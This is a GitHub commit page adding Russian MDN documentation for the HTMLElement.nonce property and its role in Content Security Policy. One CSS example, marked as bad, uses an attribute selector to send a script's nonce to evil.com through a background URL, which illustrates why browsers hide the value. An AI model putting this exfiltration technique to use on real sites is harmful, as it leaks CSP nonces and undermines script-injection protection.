Skip to content

Commit

Permalink
[ru] add Web/API/HTMLElement/nonce document (#17319)
Browse files Browse the repository at this point in the history
[ru] add 'Web/API/HTMLElement/nonce' document
  • Loading branch information
leon-win authored Dec 7, 2023
1 parent 9f7ddfe commit c9c27e2
Showing 1 changed file with 46 additions and 0 deletions.
46 changes: 46 additions & 0 deletions files/ru/web/api/htmlelement/nonce/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
---
title: "HTMLElement: свойство nonce"
slug: Web/API/HTMLElement/nonce
l10n:
sourceCommit: a3d9f61a8990ba7b53bda9748d1f26a9e9810b18
---

{{APIRef("HTML DOM")}}

Свойство **`nonce`** интерфейса {{DOMxRef("HTMLElement")}} возвращает одноразовое криптографическое число используемое в [Content Security Policy](/ru/docs/Web/HTTP/CSP) для определения возможности продолжения обработки запроса.

В современных реализациях элементы предоставляют свой атрибут `nonce` только скриптам (но не CSS-селекторам, например).

## Примеры

### Получение значения nonce

В прошлом не все браузеры поддерживали IDL-атрибут `nonce`, поэтому было распространено использование [`getAttribute`](/ru/docs/Web/API/Element/getAttribute) в качестве запасного варианта:

```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```

Современные браузеры не дают получить значения `nonce` таким путём (будет возвращена пустая строка). IDL-свойство (`script['nonce']`) является единственным способом получения `nonce`.

Скрытие `nonce` помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:

```css example-bad
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
```

## Спецификации

{{Specifications}}

## Совместимость с браузерами

{{Compat}}

## Смотрите также

- [Глобальный атрибут `nonce`](/ru/docs/Web/HTML/Global_attributes/nonce)
- [Content Security Policy](/ru/docs/Web/HTTP/CSP)
- CSP: {{CSP("script-src")}}

0 comments on commit c9c27e2

Please sign in to comment.